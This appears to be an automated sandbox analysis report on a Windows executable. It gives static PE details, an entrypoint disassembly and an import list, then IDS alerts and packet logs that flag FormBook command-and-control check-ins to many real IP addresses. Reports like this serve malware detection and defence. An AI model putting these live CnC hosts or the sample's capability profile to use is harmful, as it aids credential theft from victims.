SSDEEP:	24576:vRmJkcoQricOIQxiZY1WNE8JLF0r7ICh7KHtYguK+wBWmzoYvt:kJZoQrbTFZY1WNEIpJmSYfK+w5zX
TLSH:	A765F121B5D5906EC1B32FB08E7EF3659738793A0226D64B3FC9293D4DF11412A2E726
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................1b.......P.).....Q.......y.......i..........}....N.......d.......`.......m.......g.....Rich............PE..L..

File Icon


Icon Hash:	7f4746c7c7730f06

Static PE Info

General

Entrypoint:	0x4165c1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4F25BAEC [Sun Jan 29 21:32:28 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	369fe35b86c83b3130c02698158a4d4d

Entrypoint Preview

Instruction
call 00007F3150CDBFDBh
jmp 00007F3150CD2E4Eh
int3
int3
int3
int3
int3
push ebp
mov ebp, esp
push edi
push esi
mov esi, dword ptr [ebp+0Ch]
mov ecx, dword ptr [ebp+10h]
mov edi, dword ptr [ebp+08h]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F3150CD2FCAh
cmp edi, eax
jc 00007F3150CD3166h
cmp ecx, 00000080h
jc 00007F3150CD2FDEh
cmp dword ptr [004A9724h], 00000000h
je 00007F3150CD2FD5h
push edi
push esi
and edi, 0Fh
and esi, 0Fh
cmp edi, esi
pop esi
pop edi
jne 00007F3150CD2FC7h
jmp 00007F3150CD33A2h
test edi, 00000003h
jne 00007F3150CD2FD6h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F3150CD2FEBh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F3150CD2FCEh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007F315314B7C7h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F3150CD2F8Eh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x34430	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	f0991b788ac34ea4b210673093655317	False	0.3256312779017857	data	4.484090180677536	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x34430	0x34600	a82206669afc4deee240736fd6f51cdb	False	0.42391203013126494	data	5.503762238230974	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab5c8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab6f0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab818	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab940	0x9b30	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.9974828836085381
RT_ICON	0xb5470	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	Great Britain	0.23448775582633385
RT_ICON	0xc5c98	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	Great Britain	0.3154036157241959
RT_ICON	0xcf140	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	Great Britain	0.3422365988909427
RT_ICON	0xd45c8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	Great Britain	0.3288852149267832
RT_ICON	0xd87f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.4078838174273859
RT_ICON	0xdad98	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.4545028142589118
RT_ICON	0xdbe40	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	Great Britain	0.5471311475409836
RT_ICON	0xdc7c8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.6542553191489362
RT_MENU	0xdcc30	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xdcc80	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xdcd80	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xdd2b0	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xdd940	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xdde10	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xde410	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xdea70	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xdedf8	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xdef50	0x84	data	English	Great Britain	0.7348484848484849
RT_GROUP_ICON	0xdefd8	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xdeff0	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xdf008	0x14	data	English	Great Britain	1.25
RT_VERSION	0xdf020	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xdf1c0	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
KERNEL32.DLL	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-23T14:36:57.420097+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49703	81.2.196.19	80	TCP
2024-09-23T14:37:14.218178+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49704	103.21.221.4	80	TCP
2024-09-23T14:37:16.852379+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49705	103.21.221.4	80	TCP
2024-09-23T14:37:19.356148+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49707	103.21.221.4	80	TCP
2024-09-23T14:37:21.770309+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49708	103.21.221.4	80	TCP
2024-09-23T14:37:28.123635+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49709	38.47.232.196	80	TCP
2024-09-23T14:37:30.783145+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49710	38.47.232.196	80	TCP
2024-09-23T14:37:33.546333+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49711	38.47.232.196	80	TCP
2024-09-23T14:37:36.664205+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49712	38.47.232.196	80	TCP
2024-09-23T14:37:42.195520+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49713	188.114.97.3	80	TCP
2024-09-23T14:37:45.170542+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49714	188.114.97.3	80	TCP
2024-09-23T14:37:48.552290+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49715	188.114.97.3	80	TCP
2024-09-23T14:37:51.081454+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49716	188.114.97.3	80	TCP
2024-09-23T14:37:56.856092+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49717	195.110.124.133	80	TCP
2024-09-23T14:37:59.468926+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49718	195.110.124.133	80	TCP
2024-09-23T14:38:02.168708+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49719	195.110.124.133	80	TCP
2024-09-23T14:38:04.655185+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49720	195.110.124.133	80	TCP
2024-09-23T14:38:10.578766+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49721	162.0.238.246	80	TCP
2024-09-23T14:38:13.137368+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49722	162.0.238.246	80	TCP
2024-09-23T14:38:15.731793+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49723	162.0.238.246	80	TCP
2024-09-23T14:38:18.235963+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49724	162.0.238.246	80	TCP
2024-09-23T14:38:24.704835+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49725	198.50.252.64	80	TCP
2024-09-23T14:38:27.900283+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49726	198.50.252.64	80	TCP
2024-09-23T14:38:30.166580+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49727	198.50.252.64	80	TCP
2024-09-23T14:38:32.686553+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49728	198.50.252.64	80	TCP
2024-09-23T14:38:39.360229+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49729	85.159.66.93	80	TCP
2024-09-23T14:38:42.467299+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49730	85.159.66.93	80	TCP
2024-09-23T14:38:45.014148+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49731	85.159.66.93	80	TCP
2024-09-23T14:38:46.718567+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49732	85.159.66.93	80	TCP
2024-09-23T14:38:52.649879+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49733	142.250.186.51	80	TCP
2024-09-23T14:38:55.445163+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49734	142.250.186.51	80	TCP
2024-09-23T14:38:57.763962+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49735	142.250.186.51	80	TCP
2024-09-23T14:39:00.365212+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49736	142.250.186.51	80	TCP
2024-09-23T14:39:14.931402+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49737	199.59.243.227	80	TCP
2024-09-23T14:39:16.524563+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49738	199.59.243.227	80	TCP
2024-09-23T14:39:19.088135+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49739	199.59.243.227	80	TCP
2024-09-23T14:39:21.619286+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49740	199.59.243.227	80	TCP
2024-09-23T14:39:27.378471+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49741	62.149.128.40	80	TCP
2024-09-23T14:39:27.378471+0200	2856318	ETPRO MALWARE FormBook CnC Checkin (POST) M4	1	192.168.2.7	49741	62.149.128.40	80	TCP
2024-09-23T14:39:29.906818+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49742	62.149.128.40	80	TCP
2024-09-23T14:39:32.458953+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49743	62.149.128.40	80	TCP
2024-09-23T14:39:35.074653+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49744	62.149.128.40	80	TCP
2024-09-23T14:39:40.589680+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49745	3.33.130.190	80	TCP
2024-09-23T14:39:44.067449+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49746	3.33.130.190	80	TCP
2024-09-23T14:39:45.831765+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49747	3.33.130.190	80	TCP
2024-09-23T14:39:48.399721+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49748	3.33.130.190	80	TCP
2024-09-23T14:39:54.540490+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49749	154.198.53.36	80	TCP
2024-09-23T14:39:57.105227+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49750	154.198.53.36	80	TCP
2024-09-23T14:39:59.935924+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49751	154.198.53.36	80	TCP
2024-09-23T14:40:02.265246+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49752	154.198.53.36	80	TCP
2024-09-23T14:40:08.418181+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49753	154.38.114.205	80	TCP
2024-09-23T14:40:11.121460+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49754	154.38.114.205	80	TCP
2024-09-23T14:40:14.093213+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49755	154.38.114.205	80	TCP
2024-09-23T14:40:16.346281+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49756	154.38.114.205	80	TCP
2024-09-23T14:40:21.927956+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49757	84.32.84.32	80	TCP
2024-09-23T14:40:24.493137+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49758	84.32.84.32	80	TCP
2024-09-23T14:40:27.052809+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.2.7	49759	84.32.84.32	80	TCP
2024-09-23T14:40:30.937112+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.2.7	49760	84.32.84.32	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 23, 2024 14:36:56.738081932 CEST	49703	80	192.168.2.7	81.2.196.19
Sep 23, 2024 14:36:56.743088961 CEST	80	49703	81.2.196.19	192.168.2.7
Sep 23, 2024 14:36:56.743230104 CEST	49703	80	192.168.2.7	81.2.196.19
Sep 23, 2024 14:36:56.753988028 CEST	49703	80	192.168.2.7	81.2.196.19
Sep 23, 2024 14:36:56.758992910 CEST	80	49703	81.2.196.19	192.168.2.7
Sep 23, 2024 14:36:57.419692039 CEST	80	49703	81.2.196.19	192.168.2.7
Sep 23, 2024 14:36:57.419893980 CEST	80	49703	81.2.196.19	192.168.2.7
Sep 23, 2024 14:36:57.420097113 CEST	49703	80	192.168.2.7	81.2.196.19
Sep 23, 2024 14:36:57.423331976 CEST	49703	80	192.168.2.7	81.2.196.19
Sep 23, 2024 14:36:57.428231001 CEST	80	49703	81.2.196.19	192.168.2.7
Sep 23, 2024 14:37:12.920990944 CEST	49704	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:12.925952911 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:12.926069975 CEST	49704	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:12.936741114 CEST	49704	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:12.941629887 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.218002081 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.218050957 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.218090057 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.218122959 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.218157053 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.218178034 CEST	49704	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:14.218189955 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.218224049 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.218255997 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.218290091 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.218307972 CEST	49704	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:14.218341112 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.218378067 CEST	49704	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:14.218422890 CEST	49704	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:14.222953081 CEST	80	49704	103.21.221.4	192.168.2.7
Sep 23, 2024 14:37:14.223047018 CEST	49704	80	192.168.2.7	103.21.221.4
Sep 23, 2024 14:37:14.451533079 CEST	49704	80	192.168.2.7	103.21.221.4
